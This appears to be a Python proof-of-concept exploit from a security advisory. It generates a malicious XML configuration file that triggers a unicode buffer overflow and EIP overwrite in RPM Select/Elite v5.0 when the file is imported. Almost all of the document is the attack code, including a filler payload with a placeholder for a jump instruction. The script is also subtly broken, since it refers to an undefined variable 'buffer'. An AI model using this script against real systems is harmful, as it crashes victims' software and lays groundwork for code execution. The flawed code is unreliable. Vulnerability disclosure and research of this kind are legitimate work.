#!/usr/bin/python # #################################################################### # RPM Select/Elite v5.0 (.xml config parsing) unicode buffer overflow PoC # Found by: mr_me - http://net-ninja.net/ # Homepage: http://lpd.brooksnet.com/ # Download: http://www.brooksnet.com/download-rpmselect # Tested on: Windows XP SP3 # Advisory: http://www.corelan.be:8800/advisories.php?id=10-024 # Greetz: Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # #################################################################### # Notes: We overwrite EIP @ 32 bytes in, and the function doesnt copy # enough of our string to hit SEH. However modules are compiled with # SAFESEH anyway. Combine that with unicode and the printable ascii # limitations, we are presented with to much of a hurdle. # #################################################################### # How to trigger the crash: # file -> import configuration # Click on the queue name, then click on the imported transform # Click 'modify transform' and b00m! # #################################################################### # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # Corelan does not want anyone to use this script # for malicious and/or illegal purposes. # Corelan cannot be held responsible for any illegal use. # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages.
header1 = """<RPM version="5.0.70.6"> <Queues> <Queue> <description>lol</description> <seqno>0</seqno> <enabled>1</enabled> <actions>1</actions> <held>0</held> <running>0</running> <name>mr_mes print queue</name> <Transforms> <Transform> <LineWrap>0</LineWrap> <lfPitchAndFamily>48</lfPitchAndFamily> <lfOrientation>0</lfOrientation> <lfFaceName> """
header2 = """</lfFaceName> <lfWidth>0</lfWidth> <UseCharsPerInch>0</UseCharsPerInch> <lfItalic>0</lfItalic> <UseLinesPerPage>0</UseLinesPerPage> <lfEscapement>0</lfEscapement> <LinesPerInch>6.000000</LinesPerInch> <type>24</type> <LeftMargin>0.500000</LeftMargin> <PortraitMax>90</PortraitMax> <CharsPerInch>10.000000</CharsPerInch> <CharsPerLine>80</CharsPerLine> <TopMargin>0.500000</TopMargin> <LinesPerPage>60</LinesPerPage> <lfQuality>2</lfQuality> <lfStrikeOut>0</lfStrikeOut> <lfWeight>400</lfWeight> <FontSize>12</FontSize> <lfUnderline>0</lfUnderline> <BottomMargin>0.500000</BottomMargin> <Orientation>portrait</Orientation> <InputFormat>1252</InputFormat> <CalcLayout>false</CalcLayout> <UseLinesPerInch>1</UseLinesPerInch> <RightMargin>0.500000</RightMargin> <CtrlStrip>1</CtrlStrip> <UseCharsPerLine>0</UseCharsPerLine> <lfCharSet>1</lfCharSet> <lfOutPrecision>0</lfOutPrecision> <lfClipPrecision>0</lfClipPrecision> <SuppressBlankPage>1</SuppressBlankPage> <lfHeight>-16</lfHeight> </Transform> </Transforms> <Jobs /> </Queue> </Queues> <Hosts /> </RPM> """
payload = "\x41" * 32 payload += "\x42\x42" # your "jmp to esp" instruction should go here payload += "\x44" * (5000-len(buffer)) exploit = header1.rstrip() + payload.rstrip() + header2.rstrip() try: f=open("cst-rpm-config.xml",'w') f.write(exploit) f.close() print "[+] File created successfully !" except: print "[-] Error cannot write xml file to system\n"
|